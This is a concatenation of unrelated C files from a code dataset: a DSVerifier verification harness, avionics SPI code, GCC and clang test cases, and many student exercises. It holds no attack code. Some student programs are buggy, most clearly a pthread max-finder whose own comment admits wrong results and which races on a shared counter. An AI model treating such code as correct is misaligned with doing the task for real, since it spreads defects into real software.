(7 != 11)) && (ds.a_size == 0 || ds.b_size == 0))
{
printf("\n\n****************************************************************************\n");
printf("* set (ds and impl) parameters to check with DSVerifier *\n");
printf("****************************************************************************\n");
__DSVERIFIER_assert(0);
}
if ((7 == 9) || (7 == 10) ||
(7 == 11))
{
if (controller.a_size == 0 || plant.b_size == 0 || impl.int_bits == 0 )
{
printf("\n\n*****************************************************************************************************\n");
printf("* set (controller, plant, and impl) parameters to check CLOSED LOOP with DSVerifier *\n");
printf("*****************************************************************************************************\n");
__DSVERIFIER_assert(0);
}
else
{
printf("\n\n*****************************************************************************************************\n");
printf("* set (controller and impl) parameters so that they do not overflow *\n");
printf("*****************************************************************************************************\n");
unsigned j;
for (j = 0; j < controller.a_size; ++j)
{
const double value=controller.a[j];
__DSVERIFIER_assert(value <= _dbl_max);
__DSVERIFIER_assert(value >= _dbl_min);
}
for (j = 0; j < controller.b_size; ++j)
{
const double value=controller.b[j];
__DSVERIFIER_assert(value <= _dbl_max);
__DSVERIFIER_assert(value >= _dbl_min);
}
}
if (controller.b_size > 0)
{
unsigned j, zeros=0;
for (j = 0; j < controller.b_size; ++j)
{
if (controller.b[j]==0)
++zeros;
}
if (zeros == controller.b_size)
{
printf("\n\n*****************************************************************************************************\n");
printf("* The controller numerator must not be zero *\n");
printf("*****************************************************************************************************\n");
__DSVERIFIER_assert(0);
}
}
if (controller.a_size > 0)
{
unsigned j, zeros=0;
for (j = 0; j < controller.a_size; ++j)
{
if (controller.a[j]==0)
++zeros;
}
if (zeros == controller.a_size)
{
printf("\n\n*****************************************************************************************************\n");
printf("* The controller denominator must not be zero *\n");
printf("*****************************************************************************************************\n");
__DSVERIFIER_assert(0);
}
}
if (0 == 0)
{
printf("\n\n***************************************************************************************************************\n");
printf("* set a connection mode to check CLOSED LOOP with DSVerifier (use: --connection-mode TYPE) *\n");
printf("***************************************************************************************************************\n");
__DSVERIFIER_assert(0);
}
}
if (7 == 0)
{
printf("\n\n***************************************************************************************\n");
printf("* set the property to check with DSVerifier (use: --property NAME) *\n");
printf("***************************************************************************************\n");
__DSVERIFIER_assert(0);
}
if ((7 == 3) || (7 == 2) || (7 == 1) ||
(7 == 10) || (7 == 11) ||
(7 == 4 || 7 == 5) || 7 == 6)
{
if ((10 == 0) && !(0 == 1))
{
printf("\n\n********************************************************************************************\n");
printf("* set a X_SIZE to use this property in DSVerifier (use: --x-size VALUE) *\n");
printf("********************************************************************************************\n");
__DSVERIFIER_assert(0);
}
else if (0 == 1)
{
X_SIZE_VALUE = nondet_uint();
__DSVERIFIER_assume( X_SIZE_VALUE > (2 * ds.a_size));
}
else if (10 < 0)
{
printf("\n\n********************************************************************************************\n");
printf("* set a X_SIZE > 0 *\n");
printf("********************************************************************************************\n");
__DSVERIFIER_assert(0);
}
else
{
X_SIZE_VALUE = 10;
}
}
if ((3 == 0) && (7 != 9) && (7 != 18))
{
printf("\n\n*********************************************************************************************\n");
printf("* set the realization to check with DSVerifier (use: --realization NAME) *\n");
printf("*********************************************************************************************\n");
__DSVERIFIER_assert(0);
}
if (7 == 6 || 7 == 11)
{
if (impl.max_error == 0)
{
printf("\n\n***********************************************************************\n");
printf("* provide the maximum expected error (use: impl.max_error) *\n");
printf("***********************************************************************\n");
__DSVERIFIER_assert(0);
}
}
if (7 == 4 || 7 == 5)
{
if (7 == 5 || 7 == 4)
{
if (hw.clock == 0l)
{
printf("\n\n***************************\n");
printf("* Clock could not be zero *\n");
printf("***************************\n");
__DSVERIFIER_assert(0);
}
hw.cycle = ((double) 1.0 / hw.clock);
if (hw.cycle < 0)
{
printf("\n\n*********************************************\n");
printf("* The cycle time could not be representable *\n");
printf("*********************************************\n");
__DSVERIFIER_assert(0);
}
if (ds.sample_time == 0)
{
printf("\n\n*****************************************************************************\n");
printf("* provide the sample time of the digital system (ds.sample_time) *\n");
printf("*****************************************************************************\n");
__DSVERIFIER_assert(0);
}
}
}
if (7 == 18)
{
if (!((filter.Ap > 0) && (filter.Ac >0) && (filter.Ar >0)))
{
printf("\n\n*****************************************************************************\n");
printf("* set values bigger than 0 for Ap, Ac and Ar* \n");
printf("*****************************************************************************\n");
__DSVERIFIER_assert(0);
}
}
if ((3 == 7) || (3 == 8) || (3 == 9) ||
(3 == 10) || (3 == 11) || (3 == 12))
{
printf("\n\n******************************************\n");
printf("* Temporarily the cascade modes are disabled *\n");
printf("**********************************************\n");
__DSVERIFIER_assert(0);
}
}
void call_verification_task(void * verification_task)
{
int i = 0;
_Bool base_case_executed = 0;
if (0 == 2)
{
for(i=0; i<ds.b_size; i++)
{
if (ds.b_uncertainty[i] > 0)
{
double factor = ds.b_uncertainty[i];
factor = factor < 0 ? factor * (-1) : factor;
double min = ds.b[i] - factor;
double max = ds.b[i] + factor;
if ((factor == 0) && (base_case_executed == 1))
{
continue;
}
else if ((factor == 0) && (base_case_executed == 0))
{
base_case_executed = 1;
}
ds.b[i] = nondet_double();
__DSVERIFIER_assume((ds.b[i] >= min) && (ds.b[i] <= max));
}
}
for(i=0; i<ds.a_size; i++)
{
if (ds.a_uncertainty[i] > 0)
{
double factor = ds.a_uncertainty[i];
factor = factor < 0 ? factor * (-1) : factor;
double min = ds.a[i] - factor;
double max = ds.a[i] + factor;
if ((factor == 0) && (base_case_executed == 1))
{
continue;
}
else if ((factor == 0) && (base_case_executed == 0))
{
base_case_executed = 1;
}
ds.a[i] = nondet_double();
__DSVERIFIER_assume((ds.a[i] >= min) && (ds.a[i] <= max));
}
}
}
else
{
int i=0;
for(i=0; i<ds.b_size; i++)
{
if (ds.b_uncertainty[i] > 0)
{
double factor = ((ds.b[i] * ds.b_uncertainty[i]) / 100);
factor = factor < 0 ? factor * (-1) : factor;
double min = ds.b[i] - factor;
double max = ds.b[i] + factor;
if ((factor == 0) && (base_case_executed == 1))
{
continue;
}
else if ((factor == 0) && (base_case_executed == 0))
{
base_case_executed = 1;
}
ds.b[i] = nondet_double();
__DSVERIFIER_assume((ds.b[i] >= min) && (ds.b[i] <= max));
}
}
for(i=0; i<ds.a_size; i++)
{
if (ds.a_uncertainty[i] > 0)
{
double factor = ((ds.a[i] * ds.a_uncertainty[i]) / 100);
factor = factor < 0 ? factor * (-1) : factor;
double min = ds.a[i] - factor;
double max = ds.a[i] + factor;
if ((factor == 0) && (base_case_executed == 1))
{
continue;
}
else if ((factor == 0) && (base_case_executed == 0))
{
base_case_executed = 1;
}
ds.a[i] = nondet_double();
__DSVERIFIER_assume((ds.a[i] >= min) && (ds.a[i] <= max));
}
}
}
((void(*)())verification_task)();
}
void call_closedloop_verification_task(void * closedloop_verification_task)
{
_Bool base_case_executed = 0;
int i=0;
for(i=0; i<plant.b_size; i++)
{
if (plant.b_uncertainty[i] > 0)
{
double factor = ((plant.b[i] * plant.b_uncertainty[i]) / 100);
factor = factor < 0 ? factor * (-1) : factor;
double min = plant.b[i] - factor;
double max = plant.b[i] + factor;
if ((factor == 0) && (base_case_executed == 1))
{
continue;
}
else if ((factor == 0) && (base_case_executed == 0))
{
base_case_executed = 1;
}
plant.b[i] = nondet_double();
__DSVERIFIER_assume((plant.b[i] >= min) && (plant.b[i] <= max));
}else{
}
}
for(i=0; i<plant.a_size; i++)
{
if (plant.a_uncertainty[i] > 0)
{
double factor = ((plant.a[i] * plant.a_uncertainty[i]) / 100);
factor = factor < 0 ? factor * (-1) : factor;
double min = plant.a[i] - factor;
double max = plant.a[i] + factor;
if ((factor == 0) && (base_case_executed == 1))
{
continue;
}
else if ((factor == 0) && (base_case_executed == 0))
{
base_case_executed = 1;
}
plant.a[i] = nondet_double();
__DSVERIFIER_assume((plant.a[i] >= min) && (plant.a[i] <= max));
}
else
{
}
}
((void(*)())closedloop_verification_task)();
}
# 2 "benchmarks/ds-03-impl2.c" 2
digital_system ds = {
.b = { 110.0, -100.0 },
.b_size = 2,
.a = { 1.0, 0.0 },
.a_size = 2,
.sample_time = 0.02
};
implementation impl = {
.int_bits = 9,
.frac_bits = 7,
.max = 1.0,
.min = -1.0
};
|
the_stack_data/90765964.c | typedef signed int int8_t __attribute__((__mode__(__QI__)));
typedef unsigned int uint8_t __attribute__((__mode__(__QI__)));
typedef signed int int16_t __attribute__ ((__mode__ (__HI__)));
typedef unsigned int uint16_t __attribute__ ((__mode__ (__HI__)));
typedef signed int int32_t __attribute__ ((__mode__ (__SI__)));
typedef unsigned int uint32_t __attribute__ ((__mode__ (__SI__)));
typedef signed int int64_t __attribute__((__mode__(__DI__)));
typedef unsigned int uint64_t __attribute__((__mode__(__DI__)));
typedef int16_t intptr_t;
typedef uint16_t uintptr_t;
typedef int8_t int_least8_t;
typedef uint8_t uint_least8_t;
typedef int16_t int_least16_t;
typedef uint16_t uint_least16_t;
typedef int32_t int_least32_t;
typedef uint32_t uint_least32_t;
typedef int64_t int_least64_t;
typedef uint64_t uint_least64_t;
typedef int8_t int_fast8_t;
typedef uint8_t uint_fast8_t;
typedef int16_t int_fast16_t;
typedef uint16_t uint_fast16_t;
typedef int32_t int_fast32_t;
typedef uint32_t uint_fast32_t;
typedef int64_t int_fast64_t;
typedef uint64_t uint_fast64_t;
typedef int64_t intmax_t;
typedef uint64_t uintmax_t;
typedef int32_t int_farptr_t;
typedef uint32_t uint_farptr_t;
typedef struct
{
unsigned char low;
unsigned char high;
unsigned char extended;
} __fuse_t;
typedef uint8_t bool_t;
typedef int16_t pprz_t;
struct inter_mcu_msg {
int16_t channels[9];
uint8_t ppm_cpt;
uint8_t status;
uint8_t nb_err;
uint8_t vsupply;
};
void test_ppm_task(void);
void check_mega128_values_task(void);
void send_data_to_autopilot_task(void);
void check_failsafe_task(void);
void link_fbw_init(void);
void link_fbw_send(void);
void link_fbw_on_spi_it(void);
extern volatile uint8_t link_fbw_nb_err;
extern uint8_t link_fbw_fbw_nb_err;
extern struct inter_mcu_msg from_fbw;
extern struct inter_mcu_msg to_fbw;
extern volatile uint8_t link_fbw_receive_complete;
extern volatile uint8_t link_fbw_receive_valid;
extern volatile uint8_t spi_cur_slave;
extern uint8_t spi_nb_ovrn;
void spi_init( void);
struct inter_mcu_msg from_fbw;
struct inter_mcu_msg to_fbw;
volatile uint8_t link_fbw_receive_complete = (!0);
volatile uint8_t link_fbw_receive_valid = 0;
volatile uint8_t link_fbw_nb_err;
uint8_t link_fbw_fbw_nb_err;
static uint8_t idx_buf;
static uint8_t xor_in, xor_out;
void link_fbw_init(void) {
link_fbw_nb_err;
link_fbw_receive_complete = 0;
}
void link_fbw_send(void) {
if (spi_cur_slave != 0) {
spi_nb_ovrn++;
return;
}
{ uint8_t foo; (*(volatile uint8_t *)((0x0D) + 0x20)) = (1 << (6)) | (1 << (4)) | (1 << (0)); if (((*(volatile uint8_t *)(((uint16_t) &((*(volatile uint8_t *)((0x0E) + 0x20)))))) & (1 << (7)))) foo = (*(volatile uint8_t *)((0x0F) + 0x20)); (*(volatile uint8_t *)((0x0D) + 0x20)) |= (1 << (7)); };
{ spi_cur_slave = 1; ((*(volatile uint8_t *)(((uint16_t) &((*(volatile uint8_t *)((0x18) + 0x20)))))) &= ~(1 << (0)));};
idx_buf = 0;
xor_in = 0;
xor_out = ((uint8_t*)&to_fbw)[idx_buf];
(*(volatile uint8_t *)((0x0F) + 0x20)) = xor_out;
link_fbw_receive_valid = 0;
}
void link_fbw_on_spi_it( void ) {
(*(volatile uint16_t *)((0x2A) + 0x20)) = (*(volatile uint16_t *)((0x2C) + 0x20)) + 200;
((*(volatile uint8_t *)(((uint16_t) &((*(volatile uint8_t *)((0x36) + 0x20)))))) |= (1 << (4)));
((*(volatile uint8_t *)(((uint16_t) &((*(volatile uint8_t *)((0x37) + 0x20)))))) |= (1 << (4)));
}
void __vector_12 (void) __attribute__ ((signal,used, externally_visible)) ; void __vector_12 (void)
{
uint8_t tmp;
((*(volatile uint8_t *)(((uint16_t) &((*(volatile uint8_t *)((0x37) + 0x20)))))) &= ~(1 << (4)));
idx_buf++;
if (idx_buf == (sizeof(struct inter_mcu_msg)+1)) {
tmp = (*(volatile uint8_t *)((0x0F) + 0x20));
if (tmp == xor_in) {
link_fbw_receive_valid = (!0);
link_fbw_fbw_nb_err = from_fbw.nb_err;
}
else
link_fbw_nb_err++;
link_fbw_receive_complete = (!0);
{ spi_cur_slave = 0; ((*(volatile uint8_t *)(((uint16_t) &((*(volatile uint8_t *)((0x18) + 0x20)))))) |= (1 << (0)));};
{ ((*(volatile uint8_t *)(((uint16_t) &((*(volatile uint8_t *)((0x0D) + 0x20)))))) &= ~(1 << (7))); ((*(volatile uint8_t *)(((uint16_t) &((*(volatile uint8_t *)((0x0D) + 0x20)))))) &= ~(1 << (6))); };
return;
}
if (idx_buf < (sizeof(struct inter_mcu_msg)+1) - 1) {
tmp = ((uint8_t*)&to_fbw)[idx_buf];
{ (*(volatile uint8_t *)((0x0F) + 0x20)) = tmp; };
xor_out ^= tmp;
}
else {
{ (*(volatile uint8_t *)((0x0F) + 0x20)) = xor_out; };
}
tmp = (*(volatile uint8_t *)((0x0F) + 0x20));
((uint8_t*)&from_fbw)[idx_buf-1] = tmp;
xor_in ^= tmp;
}
|
the_stack_data/85189.c | #include <stdio.h>
main()
{
int i = 1;
int sum = 0;
int square_sum = 0;
int cubic_sum = 0;
int n;
scanf("%d", &n);
do {
sum += i;
square_sum += (i * i);
cubic_sum += (i * i * i);
i++;
} while (i <= n);
printf("%d\n", sum);
printf("%d\n", square_sum);
printf("%d\n", cubic_sum);
} |
the_stack_data/682333.c | /*====================================================================*
*
* int main (int argc, char const * argv []);
*
*
*. Motley Tools by Charles Maier;
*: Copyright (c) 2001-2006 by Charles Maier Associates Limited;
*; Licensed under the Internet Software Consortium License;
*
*--------------------------------------------------------------------*/
|
the_stack_data/57949029.c | /* { dg-do compile } */
/* { dg-options "-O2 -finline-functions -fno-ipa-icf" } */
extern int t();
static inline void __attribute__((__noinline__)) function_definition(void) {t();} /* { dg-warning "inline function \[^\n\]* given attribute noinline" "" } */
static inline void __attribute__((__noinline__)) function_declaration_both_before(void); /* { dg-warning "inline function \[^\n\]* given attribute noinline" "" } */
static void function_declaration_both_before(void) {t();}
static void function_declaration_both_after(void);
static inline void __attribute__((__noinline__)) function_declaration_both_after(void); /* { dg-warning "(inline function \[^\n\]* given attribute noinline|declared inline after its definition)" "" } */
static void function_declaration_both_after(void) {t();}
static void function_declaration_noinline_before(void) __attribute__((__noinline__)); /* { dg-message "note: previous declaration" "" } */
static inline void function_declaration_noinline_before(void) {t();} /* { dg-warning "follows declaration with attribute noinline" "" } */
static inline void function_declaration_noinline_after(void) {t();} /* { dg-message "note: previous definition" "" } */
static void function_declaration_noinline_after(void) __attribute__((__noinline__)); /* { dg-warning "follows inline declaration" "" } */
static inline void function_declaration_inline_before(void); /* { dg-message "note: previous declaration" "" } */
static void __attribute__((__noinline__)) function_declaration_inline_before(void) {t();} /* { dg-warning "follows inline declaration" "" } */
static inline void function_declaration_inline_noinline_before(void); /* { dg-message "note: previous declaration" "" } */
static void function_declaration_inline_noinline_before(void) __attribute__((__noinline__)); /* { dg-warning "follows inline declaration" "" } */
static void function_declaration_inline_noinline_before(void) {t();}
static inline void function_declaration_inline_noinline_after(void);
static void function_declaration_inline_noinline_after(void) {t();} /* { dg-message "note: previous definition" "" } */
static void function_declaration_inline_noinline_after(void) __attribute__((__noinline__)); /* { dg-warning "follows inline declaration" "" } */
static void function_declaration_noinline_inline_before(void) __attribute__((__noinline__)); /* { dg-message "note: previous declaration" "" } */
static inline void function_declaration_noinline_inline_before(void); /* { dg-warning "follows declaration with attribute noinline" "" } */
static void function_declaration_noinline_inline_before(void) {t();}
void f () {
function_definition ();
function_declaration_both_before ();
function_declaration_both_after ();
function_declaration_noinline_before ();
function_declaration_noinline_after ();
function_declaration_inline_before ();
function_declaration_inline_noinline_before ();
function_declaration_inline_noinline_after ();
function_declaration_noinline_inline_before ();
}
/* { dg-final { scan-assembler "function_definition" } } */
/* { dg-final { scan-assembler "function_declaration_both_before" } } */
/* { dg-final { scan-assembler "function_declaration_both_after" } } */
/* { dg-final { scan-assembler "function_declaration_noinline_before" } } */
/* { dg-final { scan-assembler "function_declaration_noinline_after" } } */
/* { dg-final { scan-assembler "function_declaration_inline_before" } } */
/* { dg-final { scan-assembler "function_declaration_inline_noinline_before" } } */
/* { dg-final { scan-assembler "function_declaration_inline_noinline_after" } } */
/* { dg-final { scan-assembler "function_declaration_noinline_inline_before" } } */
|
the_stack_data/84201.c | #define gb_next_rand() (*gb_fptr>=0?*gb_fptr--:gb_flip_cycle() ) \
#define mod_diff(x,y) (((x) -(y) ) &0x7fffffff) \
#define two_to_the_31 ((unsigned long) 0x80000000) \
/*3:*/
#line 56 "./gb_flip.w"
/*4:*/
#line 74 "./gb_flip.w"
static long A[56]= {-1};
/*:4*/
#line 57 "./gb_flip.w"
/*5:*/
#line 86 "./gb_flip.w"
long*gb_fptr= A;
/*:5*/
#line 58 "./gb_flip.w"
/*7:*/
#line 133 "./gb_flip.w"
long gb_flip_cycle()
{register long*ii,*jj;
for(ii= &A[1],jj= &A[32];jj<=&A[55];ii++,jj++)
*ii= mod_diff(*ii,*jj);
for(jj= &A[1];ii<=&A[55];ii++,jj++)
*ii= mod_diff(*ii,*jj);
gb_fptr= &A[54];
return A[55];
}
/*:7*//*8:*/
#line 158 "./gb_flip.w"
void gb_init_rand(seed)
long seed;
{register long i;
register long prev= seed,next= 1;
seed= prev= mod_diff(prev,0);
A[55]= prev;
for(i= 21;i;i= (i+21)%55){
A[i]= next;
/*9:*/
#line 186 "./gb_flip.w"
next= mod_diff(prev,next);
if(seed&1)seed= 0x40000000+(seed>>1);
else seed>>= 1;
next= mod_diff(next,seed);
/*:9*/
#line 167 "./gb_flip.w"
;
prev= A[i];
}
/*10:*/
#line 223 "./gb_flip.w"
(void)gb_flip_cycle();
(void)gb_flip_cycle();
(void)gb_flip_cycle();
(void)gb_flip_cycle();
(void)gb_flip_cycle();
/*:10*/
#line 170 "./gb_flip.w"
;
}
/*:8*//*12:*/
#line 251 "./gb_flip.w"
long gb_unif_rand(m)
long m;
{register unsigned long t= two_to_the_31-(two_to_the_31%m);
register long r;
do{
r= gb_next_rand();
}while(t<=(unsigned long)r);
return r%m;
}
/*:12*/
#line 59 "./gb_flip.w"
/*:3*/
|
the_stack_data/42389.c | #include<stdio.h>
int main(){
int row, col;
printf("Enter the number of rows: ");
scanf("%d", &row);
printf("Enter the number of columns: ");
scanf("%d", &col);
int arr[row][col], arr_t[col][row];
printf("Enter the Elements in the array: ");
for(int i=0;i<row;i++){
for(int j=0; j<col; j++){
scanf("%d", &arr[i][j]);
}
}
for(int i=0;i<col;i++){
for(int j=0; j<row; j++){
arr_t[i][j] = arr[j][i];
}
}
printf("\n-------DISPLAYING THE ORIGINAL MATRIX-------\n");
for(int i=0;i<row;i++){
for(int j=0; j<col; j++){
printf("\t%d\t",arr[i][j]);
}
printf("\n");
}
printf("\n-------DISPLAYING THE TRANSPOSED MATRIX-------\n");
for(int i=0;i<col;i++){
for(int j=0; j<row; j++){
printf("\t%d\t",arr_t[i][j]);
}
printf("\n");
}
} |
the_stack_data/959687.c | //cse 46373 Prasidis Ioannis
//to programma douleuei gia thread pollaplasia twn N
//orismenes fores den vriskei to swsto max??
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#define SIZE 100
int N,p;
int A[SIZE][SIZE];
int temp[SIZE];
int part=0;
int glomax;
int D[SIZE][SIZE];
void *friend(void *k){
int maximum=A[0][0];
int a = k;
int thread_part = part++;
int i,j;
//kathe thread vriskei to max twn grammwn pou exei parei
for (i = thread_part*a; i < thread_part*a + a; i++) {
for(j=0; j < N; j++){
if(A[i][j] > maximum){
maximum = A[i][j];
}
}
}
//ta toopothetoume se enan pinaka
for(i=0;i<p;i++){
temp[i]=maximum;
}
//kai vriskoume to megalutero apo ola auta. diladi to max mas
glomax = temp[0];
for(i=0;i<p;i++){
if(temp[i] > glomax){
glomax = temp[i];
}
}
//dimiourgoume ton pinaka D pou deixnei tis apostaseis twn stoixeiwn tou pinaka A apo to max
for(i=0;i<N;i++){
for(j=0;j<N;j++){
D[i][j] = abs(glomax-A[i][j]);
}
}
pthread_exit(NULL);
}
int main() {
int i,j,k;
printf("Poio thes na einai to N?\n");
scanf("%d",&N);
printf("\nDwse %d arithmous gia na siblirwthei o pinakas\n",N*N);
for(i=0;i<N;i++){
for(j=0;j<N;j++){
scanf("%d", &A[i][j]);
}
}
printf("\no pinakas A einai:\n");
for (i = 0; i < N; i++) {
for(j=0; j< N; j++){
printf("%d ",A[i][j]);
}
printf("\n");
}
printf("Posa thread thes\n");
scanf("%d",&p);
k=N/p; //poses grammes tha pairnei kathe thread
pthread_t threads[p];
for(i=0;i<p;i++){
pthread_create(&threads[i],NULL,friend,(void *) k);
}
for(i=0;i<p;i++){
pthread_join(threads[i],NULL);
}
printf("To max einai %d\n",glomax );
printf("O pinakas D einai\n");
for(i=0;i<N;i++){
for(j=0;j<N;j++){
printf("%d ",D[i][j]);
}
printf("\n");
}
pthread_exit(NULL);
return 0;
}
|
the_stack_data/61076251.c | #include<stdio.h>
#include<string.h>
#define SIZE 90
char *s_getS(char *, int);
int main(void) {
char flower[SIZE] = "flower";
char addon [] = "s smell like old shoes";
strcat(flower, addon);
puts(flower);
}
|
the_stack_data/1033602.c | /*
* Copyright (c) 2014 - Qeo LLC
*
* The source code form of this Qeo Open Source Project component is subject
* to the terms of the Clear BSD license.
*
* You can redistribute it and/or modify it under the terms of the Clear BSD
* License (http://directory.fsf.org/wiki/License:ClearBSD). See LICENSE file
* for more details.
*
* The Qeo Open Source Project also includes third party Open Source Software.
* See LICENSE file for more details.
*/
#include <stdio.h>
#include <stddef.h>
#define alignment_init(n, type) typedef struct { char pad; type name; } _alignment_struct_##n
#define alignment(type) offsetof(_alignment_struct_##type, name)
#define print_align(type) printf(#type "=%d\n",alignment(type));
alignment_init(char, char);
alignment_init(short, short);
alignment_init(int, int);
alignment_init(long_long, long long);
alignment_init(float, float);
alignment_init(double, double);
alignment_init(long_double, long double);
int main(int argc, char ** argv)
{
print_align(char);
print_align(short);
print_align(int);
print_align(long_long);
print_align(float);
print_align(double);
print_align(long_double);
}
|
the_stack_data/1254316.c | // Option should not be passed to the frontend by default.
// RUN: %clang -target x86_64-apple-macosx10.15-gnu -fsanitize=address %s \
// RUN: -### 2>&1 | \
// RUN: FileCheck %s
// CHECK-NOT: -fsanitize-address-destructor
// RUN: %clang -target x86_64-apple-macosx10.15-gnu -fsanitize=address \
// RUN: -fsanitize-address-destructor=none %s -### 2>&1 | \
// RUN: FileCheck -check-prefix=CHECK-NONE-ARG %s
// CHECK-NONE-ARG: "-fsanitize-address-destructor=none"
// RUN: %clang -target x86_64-apple-macosx10.15-gnu -fsanitize=address \
// RUN: -fsanitize-address-destructor=global %s -### 2>&1 | \
// RUN: FileCheck -check-prefix=CHECK-GLOBAL-ARG %s
// CHECK-GLOBAL-ARG: "-fsanitize-address-destructor=global"
// RUN: %clang -target x86_64-apple-macosx10.15-gnu -fsanitize=address \
// RUN: -fsanitize-address-destructor=bad_arg %s -### 2>&1 | \
// RUN: FileCheck -check-prefix=CHECK-INVALID-ARG %s
// CHECK-INVALID-ARG: error: unsupported argument 'bad_arg' to option 'fsanitize-address-destructor='
|
the_stack_data/225144118.c | int main(void) {
int val = 40;
val++;
return val;
} |
the_stack_data/178265870.c | #include <stdio.h>
int main()
{
int amount, choice, a, b, c, i;
printf("1.iPhone 12 Pro Max -rs151499\n2.iPhone 12 Pro -rs119799\n3.iPhone 12 -rs97899\n");
printf("Enter the number of product you want to buy: ");
scanf("%d", &choice);
printf("Enter the desired amount in which you want to buy product: ");
scanf("%d", &amount);
/*Buying Price
1.iPhone 12 Pro Max -rs131499
2.iPhone 12 Pro -rs1017799
3.iPhone 12 -rs75899*/
if (amount >= 141499 && amount <= 151499)
{
printf("You can buy the product");
printf("\nchoose a payment method: ");
printf("\n1.Credit Card\n2.Debit Card\n3.Cheque\n4.Cash\n5.UPI\n6.Kidny\n");
scanf("%d", &i);
if (i == 6)
printf("Come in hospital to take delivary of your iPhone 12 Pro Max");
else
printf("Make payment and take delivary");
}
if (amount >= 111799 && amount <= 119799)
{
printf("You can buy the product");
printf("\nchoose a payment method: ");
printf("\n1.Credit Card\n2.Debit Card\n3.Cheque\n4.Cash\n5.UPI\n6.Kidny\n");
scanf("%d", &i);
if (i == 6)
printf("Come in hospital to take delivary of your iPhone 12 Pro");
else
printf("Make payment and take delivary");
}
if (amount >= 85899 && amount <= 97899)
{
printf("You can buy the product");
printf("\nchoose a payment method: ");
printf("\n1.Credit Card\n2.Debit Card\n3.Cheque\n4.Cash\n5.UPI\n6.Kidny\n");
scanf("%d", &i);
if (i == 6)
printf("Come in hospital to take delivary of your iPhone 12");
else
printf("Make payment and take delivary");
}
return 0;
} |
the_stack_data/26700638.c | #include <stdio.h>
#include <stdlib.h>
struct node
{
int data;
struct node *left;
struct node *right;
};
int max(int a, int b)
{
return a > b ? a : b;
}
int height(struct node *root)
{
if (root == NULL)
{
return 0;
}
return 1 + max(height(root->left), height(root->right));
}
void printLevel(struct node *root, int level)
{
//Best case - when rot is NULL, return
if (root == NULL)
{
return;
}
//If level is 1, print it. else recursively print left and right subtree.
if (level == 1)
{
printf("%d ", root->data);
}
else
{
printLevel(root->left, level - 1);
printLevel(root->right, level - 1);
}
}
//https://www.hackerrank.com/challenges/tree-level-order-traversal/problem?utm_campaign=challenge-recommendation&utm_medium=email&utm_source=24-hour-campaign
void levelOrder(struct node *root)
{
int h = height(root);
for (int i = 1; i <= h; i++)
{
printLevel(root, i);
}
}
struct node *new (int data)
{
struct node *node = (struct node *)malloc(sizeof(struct node));
node->data = data;
node->left = NULL;
node->right = NULL;
return node;
}
int main()
{
struct node *root = new (1);
root->left = new (2);
root->right = new (3);
root->left->left = new (4);
root->left->right = new (5);
levelOrder(root);
return 0;
} |
the_stack_data/67324242.c | /*
* Generated with test/generate_buildtest.pl, to check that such a simple
* program builds.
*/
#include <openssl/opensslconf.h>
#ifndef OPENSSL_NO_STDIO
# include <stdio.h>
#endif
#ifndef OPENSSL_NO_BLOWFISH
# include <openssl/blowfish.h>
#endif
int main(void)
{
return 0;
}
|
the_stack_data/285885.c | //Program by Nicholas Estrada. This program is designed to ask the user to input a positive integer, read how many digits were entered, and find their sum.
#include <stdio.h>
void num_sum(int n, int *num, int *sum);
int main(void)
{
int n, num = 0, sum = 0;
printf("Enter a positive integer: "); //Prompt user to enter numbers
scanf("%d", &n);
num_sum(n, &num, &sum); //Calling num_sum function
printf("The number has %d digit(s), sum of which is %d\n", num, sum);
return 0;
}
void num_sum(int n, int *num, int *sum) //Function to identify the sum of the digits entered by user
{
while (n > 0)
{
*num += + 1;
*sum += n % 10;
n /= 10;
}
} |
the_stack_data/161081719.c | /*
* Copyright © 2020 Red Hat Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include <signal.h>
#if defined __aarch64__
__asm__(".symver pthread_sigmask,pthread_sigmask@GLIBC_2.17");
#elif defined __arm__
__asm__(".symver pthread_sigmask,pthread_sigmask@GLIBC_2.4");
#elif defined __i386__
__asm__(".symver pthread_sigmask,pthread_sigmask@GLIBC_2.0");
#elif defined __powerpc64__ && _CALL_ELF == 2 /* ppc64le */
__asm__(".symver pthread_sigmask,pthread_sigmask@GLIBC_2.17");
#elif defined __s390x__
__asm__(".symver pthread_sigmask,pthread_sigmask@GLIBC_2.2");
#elif defined __x86_64__
__asm__(".symver pthread_sigmask,pthread_sigmask@GLIBC_2.2.5");
#else
#error "Please specify symbol version for pthread_sigmask"
#endif
int
__wrap_pthread_sigmask (int how, const sigset_t *set, sigset_t *oldset)
{
return pthread_sigmask (how, set, oldset);
}
|
the_stack_data/75595.c | //
// Created by zhangrongxiang on 2017/10/30 14:20
// File random
//
#include<stdio.h>
#include<stdlib.h>
#define random(x) (rand()%x)
void main() {
for (int x = 0; x < 10; x++)
printf("%d/n", random(100));
} |
the_stack_data/213545.c | #include <stdio.h>
#include <malloc.h>
int digitalRoot(int number)
{
int sum;
while (number > 9)
{
sum = 0;
while (number > 0)
{
sum = sum + number % 10;
number = number / 10;
}
number = sum;
}
return(number);
}
int simplicityTest(int number)
{
int divider;
for (divider = 2; divider * divider <= number; divider++)
{
if (number % divider == 0)
{
return(0);
}
}
return(1);
}
int main()
{
int* digital_roots;
digital_roots = (int*)malloc(1000000 * sizeof(int));
int mdrs = 0;
for (int number = 2; number <= 999999; number++) //array index matches the number
{
if ((number < 10) || (simplicityTest(number) == 1))
{
digital_roots[number] = digitalRoot(number);
mdrs = mdrs + digital_roots[number];
}
else
{
int maximum = digitalRoot(number);
for (int divider = 2; divider * divider <= number; divider++)
{
if (number % divider == 0)
{
digital_roots[number] = digital_roots[divider] + digital_roots[number / divider];
}
if (digital_roots[number] > maximum)
{
maximum = digital_roots[number];
}
}
digital_roots[number] = maximum;
mdrs = mdrs + digital_roots[number];
}
}
printf("The sum of the maximum values of digital roots in factorizations (not only prime)\nof numbers from 2 to 999999 is %d.\n", mdrs);
return(0);
} |
the_stack_data/59513978.c | #include<stdio.h>
#include<ctype.h>
float get_float(void);
char get_first(void);
int main(void)
{
char select;
float num1,num2;
while(1)
{
printf("Enter the operation of your choice:\n");
printf("a.add s.subtract:\n");
printf("m.multiply d.divide\n");
printf("q.quit\n");
select = get_first();
